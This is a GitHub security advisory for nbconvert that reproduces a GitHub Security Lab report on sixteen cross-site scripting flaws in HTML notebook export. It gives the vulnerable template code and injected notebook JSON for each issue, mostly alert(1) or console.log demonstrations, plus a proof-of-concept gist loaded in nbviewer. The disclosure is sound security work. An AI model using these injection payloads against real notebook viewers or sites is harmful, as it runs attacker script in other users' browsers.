Multiple sanitization/validation issues

High SylvainCorlay published GHSA-9jmq-rx5f-8jwq on Aug 10

Package

nbconvert (pip)

Affected versions	Patched versions
<=6.5.1	6.5.1

Description

Cross-linking to https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm

Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches

Below is currently a duplicate of the original report:

Received on security@ipython.org unedited, I'm not sure if we want to make it separate advisories.

Pasted raw for now, feel free to edit or make separate advisories if you have the rights to.

I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.

Impact

What kind of vulnerability is it? Who is impacted?

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

- Open an issue in example link to repo
- Email us at example email address

GitHub Security Lab (GHSL) Vulnerability Report

The GitHub Security Lab team has identified potential security vulnerabilities in nbconvert.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` as a reference).

If you are *NOT* the correct point of contact for this report, please let us know!

Summary

When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)

Product

nbconvert

Tested Version

v5.5.0

Details

Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (`GHSL-2021-1013`)

Attacker in control of a notebook can inject arbitrary unescaped HTML in the `notebook.metadata.language_info.pygments_lexer` field such as the following:

```
"metadata": {
  "language_info": {
   "pygments_lexer": "ipython3-foo\"><script>alert(1)</script>"
  }
}
```

This node is read in the `from_notebook_node` method:

```
def from_notebook_node(self, nb, resources=None, **kw):
  langinfo = nb.metadata.get('language_info', {})
  lexer = langinfo.get('pygments_lexer', langinfo.get('name', None))
  highlight_code = self.filters.get('highlight_code', Highlight2HTML(pygments_lexer=lexer, parent=self))
  self.register_filter('highlight_code', highlight_code)
  return super().from_notebook_node(nb, resources, **kw)
```

It is then assigned to `language` var and passed down to `_pygments_highlight`

```
from pygments.formatters import LatexFormatter
if not language:
  language=self.pygments_lexer
latex = _pygments_highlight(source, LatexFormatter(), language, metadata)
```

In this method, the `language` variable is concatenated to `highlight hl-` string to conform the `cssclass` passed to the `HTMLFormatter` constructor:

```
return _pygments_highlight(source if len(source) > 0 else ' ',
  # needed to help post processors:
  HtmlFormatter(cssclass=" highlight hl-"+language),
  language, metadata)
```

The `cssclass` variable is then concatenated in the outer div class attribute

```
yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>')
```

Note that the `cssclass` variable is also used in other unsafe places such as `'<table class="%stable">' % self.cssclass + filename_tr +`)

Issue 2: XSS in notebook.metadata.title (`GHSL-2021-1014`)

The `notebook.metadata.title` node is rendered directly to the `index.html.j2` HTML template with no escaping:

```
{% set nb_title = nb.metadata.get('title', '') or resources['metadata']['name'] %}
<title>{{nb_title}}</title>
```

The following `notebook.metadata.title` node will execute arbitrary javascript:

```
 "metadata": {
  "title": "TITLE</title><script>alert(1)</script>"
 }
```

Note: this issue also affect other templates, not just the `lab` one.

Issue 3: XSS in notebook.metadata.widgets(`GHSL-2021-1015`)

The `notebook.metadata.widgets` node is rendered directly to the `base.html.j2` HTML template with no escaping:

```
{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}
{% if mimetype in nb.metadata.get("widgets",{})%}
<script type="{{ mimetype }}">
{{ nb.metadata.widgets[mimetype] | json_dumps }}
</script>
{% endif %}
```

The following `notebook.metadata.widgets` node will execute arbitrary javascript:

```
 "metadata": {
  "widgets": {
    "application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"}
  }
 }
```

Note: this issue also affect other templates, not just the `lab` one.

Issue 4: XSS in notebook.cell.metadata.tags(`GHSL-2021-1016`)

The `notebook.cell.metadata.tags` nodes are output directly to the `celltags.j2` HTML template with no escaping:

```
{%- macro celltags(cell) -%}
    {% if cell.metadata.tags | length > 0 -%}
        {% for tag in cell.metadata.tags -%}
            {{ ' celltag_' ~ tag -}}
        {%- endfor -%}
    {%- endif %}
{%- endmacro %}
```

The following `notebook.cell.metadata.tags` node will execute arbitrary javascript:

```
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "727d1a5f",
   "metadata": {
```

```
    "tags": ["FOO\"><script>alert(1)</script><div \""]
   },
   "outputs": [],
   "source": []
  }
 ],
```

Note: this issue also affect other templates, not just the `lab` one.

Issue 5: XSS in output data text/html cells(GHSL-2021-1017)

Using the `text/html` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a cell with `text/html` output executing arbitrary javascript code:

```
{
 "cell_type": "code",
 "execution_count": 5,
 "id": "b72e53fa",
 "metadata": {},
 "outputs": [
  {
   "data": {
    "text/html": [
     "<script>alert(1)</script>"
    ]
   },
   "execution_count": 5,
   "metadata": {},
   "output_type": "execute_result"
  }
 ],
 "source": [
  "import os; os.system('touch /tmp/pwned')"
 ]
},
```

Issue 6: XSS in output data image/svg+xml cells(GHSL-2021-1018)

Using the `image/svg+xml` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The `cell.output.data["image/svg+xml"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping

```
{%- else %}
{{ output.data['image/svg+xml'] }}
{%- endif %}
```

The following `cell.output.data["image/svg+xml"]` node will execute arbitrary javascript:

```
    {
     "output_type": "execute_result",
     "data": {
      "image/svg+xml": ["<script>console.log(\"image/svg+xml output\")</script>"]
     },
     "execution_count": null,
     "metadata": {
     }
    }
```

Issue 7: XSS in notebook.cell.output.svg_filename(GHSL-2021-1019)

The `cell.output.svg_filename` nodes are rendered directly to the `base.html.j2` HTML template with no escaping

```
{%- if output.svg_filename %}
<img src="{{ output.svg_filename | posix_path }}">
```

The following `cell.output.svg_filename` node will escape the `img` tag context and execute arbitrary javascript:

```
 {
  "cell_type": "code",
  "execution_count": null,
  "id": "b72e53fa",
  "metadata": {},
  "outputs": [
   {
    "output_type": "execute_result",
    "svg_filename": "\"><script>alert(1)</script>",
    "data": {
     "image/svg+xml": [""]
    },
    "execution_count": null,
    "metadata": {
    }
   }
  ],
  "source": [""]
 },
```

Issue 8: XSS in output data text/markdown cells(GHSL-2021-1020)

Using the `text/markdown` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The `cell.output.data["text/markdown"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping

```
{{ output.data['text/markdown'] | markdown2html }}
```

The following `cell.output.data["text/markdown"]` node will execute arbitrary javascript:

```
{
 "output_type": "execute_result",
 "data": {
  "text/markdown": ["<script>console.log(\"text/markdown output\")</script>"]
 },
 "execution_count": null,
 "metadata": {}
}
```

Issue 9: XSS in output data application/javascript cells(GHSL-2021-1021)

Using the `application/javascript` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The `cell.output.data["application/javascript"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping

```
<script type="text/javascript">
var element = document.getElementById('{{ div_id }}');
{{ output.data['application/javascript'] }}
</script>
```

The following `cell.output.data["application/javascript"]` node will execute arbitrary javascript:

```
{
 "output_type": "execute_result",
 "data": {
  "application/javascript": ["console.log(\"application/javascript output\")"]
 },
 "execution_count": null,
 "metadata": {}
}
```

Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(GHSL-2021-1022)

The `cell.output.metadata.filenames["images/png"]` and `cell.metadata.filenames["images/jpeg"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping:

```
{%- if 'image/png' in output.metadata.get('filenames', {}) %}
<img src="{{ output.metadata.filenames['image/png'] | posix_path }}"
```

The following `filenames` node will execute arbitrary javascript:

```
{
 "output_type": "execute_result",
 "data": {
  "image/png": [""]
 },
 "execution_count": null,
 "metadata": {
   "filenames": {
      "image/png": "\"><script>console.log(\"output.metadata.filenames.image/png injection\")</script>"
   }
 }
}
```

Issue 11: XSS in output data image/png and image/jpeg cells(GHSL-2021-1023)

Using the `image/png` or `image/jpeg` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The `cell.output.data["images/png"]` and `cell.output.data["images/jpeg"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping:

```
{%- else %}
<img src="{{ output.data['image/png'] }}"
{%- endif %}
```

The following `cell.output.data["image/png"]` node will execute arbitrary javascript:

```
{
 "output_type": "execute_result",
 "data": {
  "image/png": ["\"><script>console.log(\"image/png output\")</script>"]
 },
 "execution_count": null,
 "metadata": {}
}
```

Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(GHSL-2021-1024)

The `cell.output.metadata.width` and `cell.output.metadata.height` nodes of both `image/png` and `image/jpeg` cells are rendered directly to the `base.html.j2` HTML template with no escaping:

```
{%- set width=output | get_metadata('width', 'image/png') -%}
width={{ width }}
{%- set height=output | get_metadata('height', 'image/png') -%}
height={{ height }}
```

The following `output.metadata.width` node will execute arbitrary javascript:

```
{
 "output_type": "execute_result",
```

```
  "data": {
   "image/png": ["abcd"]
  },
  "execution_count": null,
  "metadata": {
     "width": "><script>console.log(\"output.metadata.width png injection\")</script>"
  }
 }
```

Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(GHSL-2021-1025)

The `cell.output.data["application/vnd.jupyter.widget-state+json"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping:

```
{% set datatype_list = output.data | filter_data_type %}
{% set datatype = datatype_list[0]%}
<script type="{{ datatype }}">
{{ output.data[datatype] | json_dumps }}
</script>
```

The following `cell.output.data["application/vnd.jupyter.widget-state+json"]` node will execute arbitrary javascript:

```
 {
  "output_type": "execute_result",
  "data": {
   "application/vnd.jupyter.widget-state+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//"
  },
  "execution_count": null,
  "metadata": {}
 }
```

Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(GHSL-2021-1026)

The `cell.output.data["application/vnd.jupyter.widget-view+json"]` nodes are rendered directly to the `base.html.j2` HTML template with no escaping:

```
{% set datatype_list = output.data | filter_data_type %}
{% set datatype = datatype_list[0]%}
<script type="{{ datatype }}">
{{ output.data[datatype] | json_dumps }}
</script>
```

The following `cell.output.data["application/vnd.jupyter.widget-view+json"]` node will execute arbitrary javascript:

```
 {
  "output_type": "execute_result",
  "data": {
   "application/vnd.jupyter.widget-view+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//"
  },
  "execution_count": null,
  "metadata": {}
 }
```

Issue 15: XSS in raw cells(GHSL-2021-1027)

Using a `raw` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a `raw` cell executing arbitrary javascript code:

```
{
 "cell_type": "raw",
 "id": "372c2bf1",
 "metadata": {},
 "source": [
  "Payload in raw cell <script>alert(1)</script>"
 ]
}
```

Issue 16: XSS in markdown cells(GHSL-2021-1028)

Using a `markdown` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a `markdown` cell executing arbitrary javascript code:

```
{
 "cell_type": "markdown",
 "id": "2d42de4a",
 "metadata": {},
 "source": [
   "<script>alert(1)</script>"
 ]
},
```

Proof of Concept

These vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example nbviewer is vulnerable to the above mentioned XSS issues:

1. Create Gist with payload. eg:

- `https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c`

2. Then load gist on nbviewer. eg:

- `https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c`

Note: response is served with `content-security-policy: connect-src 'none';`

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` in any communication regarding these issues.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Severity

High

CVE ID

CVE-2021-32862

Weaknesses

No CWEs

Credits

 pwntester